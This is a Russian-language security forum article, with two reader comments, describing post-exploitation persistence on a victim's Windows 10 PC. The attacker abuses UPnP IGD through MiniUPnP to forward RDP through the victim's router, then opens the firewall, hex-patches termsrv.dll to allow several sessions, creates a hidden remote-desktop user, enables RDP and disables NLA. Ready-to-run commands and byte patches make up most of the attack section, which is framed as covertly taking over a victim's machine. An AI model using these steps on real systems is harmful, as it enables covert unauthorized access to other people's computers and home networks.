Статья [Post Exploitation] - Проброс портов без доступа к роутеру или чем опасен UPnP IGD

firewall-diagram.jpg

Введение
Здравствуйте жители и гости CodeBy! Хочу сделать маленький обзор одной утилиты для работы с UPnP IGD и продемонстрировать как злоумышленник может использовать этот протокол в своих целях (точнее один из возможных сценариев). Полагаю как вы уже знаете UPnP (Universal Plug and Play) - это набор сетевых протоколов упрощающих настройку сетевых устройств в локальной сети. Одним из них и является IGD (Internet Gateway Device Protocol) - протокол для динамического проброса портов в сетях NAT. Наверное вы подумали что проблема затрагивает только IPv4. Но нет, не смотря на то что в IP шестой версии нету "преобразования сетевых адресов" и каждое устройство в сети получает публичный адрес, во второй версии стандарта UPnP IGD для него нашлось решение - Pinhole. Он задает инструкцию межсетевому экрану для разрешения трафика через определенные порты по определенным протоколам к определенным сетевым адресам.


Основная часть
Допустим мы имеем доступ к компьютеру жертвы под управлением Windows 10 и заполучили привилегии администратора.

victim_pc_1.jpg

Скачаем утилиту MiniUPnP и загрузим ее к нашей жертве
Bash:
wget https://github.com/miniupnp/miniupnp/releases/download/miniupnpc_2_1/win32-miniupnpc-2.1.zip
unzip win32-miniupnpc-2.1.zip -d miniupnpc

Нам нужен только экзешник upnpc-static.exe из скачанного архива.
При запуске без дополнительных параметров выводится следующая инструкция:
Код:
Usage :    upnpc-static.exe [options] -a ip port external_port protocol [duration]
        Add port redirection
           upnpc-static.exe [options] -d external_port protocol <remote host>
        Delete port redirection
           upnpc-static.exe [options] -s
        Get Connection status
           upnpc-static.exe [options] -l
        List redirections
           upnpc-static.exe [options] -L
        List redirections (using GetListOfPortMappings (for IGD:2 only)
           upnpc-static.exe [options] -n ip port external_port protocol [duration]
        Add (any) port redirection allowing IGD to use alternative external_port (for IGD:2 only)
           upnpc-static.exe [options] -N external_port_start external_port_end protocol [manage]
        Delete range of port redirections (for IGD:2 only)
           upnpc-static.exe [options] -r port1 [external_port1] protocol1 [port2 [external_port2] protocol2] [...]
        Add all redirections to the current host
           upnpc-static.exe [options] -A remote_ip remote_port internal_ip internal_port protocol lease_time
        Add Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -U uniqueID new_lease_time
        Update Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -C uniqueID
        Check if Pinhole is Working (for IGD:2 only)
           upnpc-static.exe [options] -K uniqueID
        Get Number of packets going through the rule (for IGD:2 only)
           upnpc-static.exe [options] -D uniqueID
        Delete Pinhole (for IGD:2 only)
           upnpc-static.exe [options] -S
        Get Firewall status (for IGD:2 only)
           upnpc-static.exe [options] -G remote_ip remote_port internal_ip internal_port protocol
        Get Outbound Pinhole Timeout (for IGD:2 only)
           upnpc-static.exe [options] -P
        Get Presentation url

protocol is UDP or TCP
Options:
  -e description : set description for port mapping.
  -6 : use ip v6 instead of ip v4.
  -u url : bypass discovery process by providing the XML root description url.
  -m address/interface : provide ip address (ip v4) or interface name (ip v4 or v6) to use for sending SSDP multicast packets.
  -z localport : SSDP packets local (source) port (1024-65535).
  -p path : use this path for MiniSSDPd socket.
  -t ttl : set multicast TTL. Default value is 2.

Поищем работающий сервис UPnP IGD в нашей сети и проверим его состояние. (В смысле в сети жертвы:))

upnpc_status.jpg

В дальнейшем мы можем пропускать процесс обнаружения добавив аргумент: -u , еще это пригодится если в сети несколько роутеров с включенным UPnP.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -l


upnpc_status_2.jpg

Такие программы как Skype, uTorrent и даже WhatsApp активно пользуются этим сервисом. Впрочем в нашей ситуации мы видим проброшенный порт программой uTorrent.


Давайте к делу
Скрытно от нашей жертвы создадим пользователи удаленного управления, такой пользователь не виден на экране входа.

Проброс порта 3389 (Windows RDP), скати мы можем задать время жизни редиректа, если ничего не указывать редирект будет статичным. В UPnP IGD V2 максимально допустимый срок это 7 дней.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -e Management -a 192.168.0.29 3389 3389 TCP


upnpc_redirect.jpg


web_upnp.jpg


Сразу же добавим правило в Windows Firewall, без этого редирект бесполезен в нашем случае. Если бы порт уже использовался в локальной сети этого не пришлось бы делать.
Код:
netsh advfirewall firewall add rule name="Management" protocol=TCP dir=in localport=3389 action=allow


По умолчанию обычный Windows не позволяет одновременно работать более чем одному пользователю, поэтому исправим это недоразумение. Скачаем файл C:\Windows\System32\termsrv.dll себе на комп.

meter_01.jpg

Открываем файл в hexeditor, меняем 39 81 3C 06 00 00 0F 84 7F 2C 01 00 на B8 00 01 00 00 89 81 38 06 00 00 90

hex.jpg

сохраняем и обратно заливаем на место

upload.jpg


Теперь осталось создать пользователя с единственной группой "Remote Desktop Users" и включить саму службу RDP.

create_user.jpg

Включение RDP
Код:
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0

enable_rdp.jpg

Профит
На этом все подошло к концу и наша жертва готова не много поделиться с нами со своими ресурсами. Подключаемся к его публичному адресу и попадаем на компьютер в локальной сети.

rdp_connect_1.jpg


profit.jpg


Можно подключиться прямо с Kali Linux, для этого необходимо выключить защитный механизм NLA (Network Level Authentication) в Windows. Делается следующей командой:
Код:
powershell "Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 0"

profit_2.jpg

Видео к статье:

Полезные ссылки:


Открываем порты за NAT при помощи NAT-PMP и UPnP IGD

Пожалуй на этом я закончу. Всем спасибо за внимание и до скорой встречи!
 
Последнее редактирование:

moonz

Green Team
14.11.2017
39
19
BIT
7
Опасная штука в умелых руках, попробую воспроизвести дома)
С наступающим, и спасибо за материал! :coffee:
 
  • Нравится
Реакции: gushmazuko

Dodger

New member
05.06.2019
3
0
BIT
1
Что-то я не очень понял, для чего столько манипуляций, если и так имеется доступ на арм жертвы с справа и. Или это один из вариантов закрепиться?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!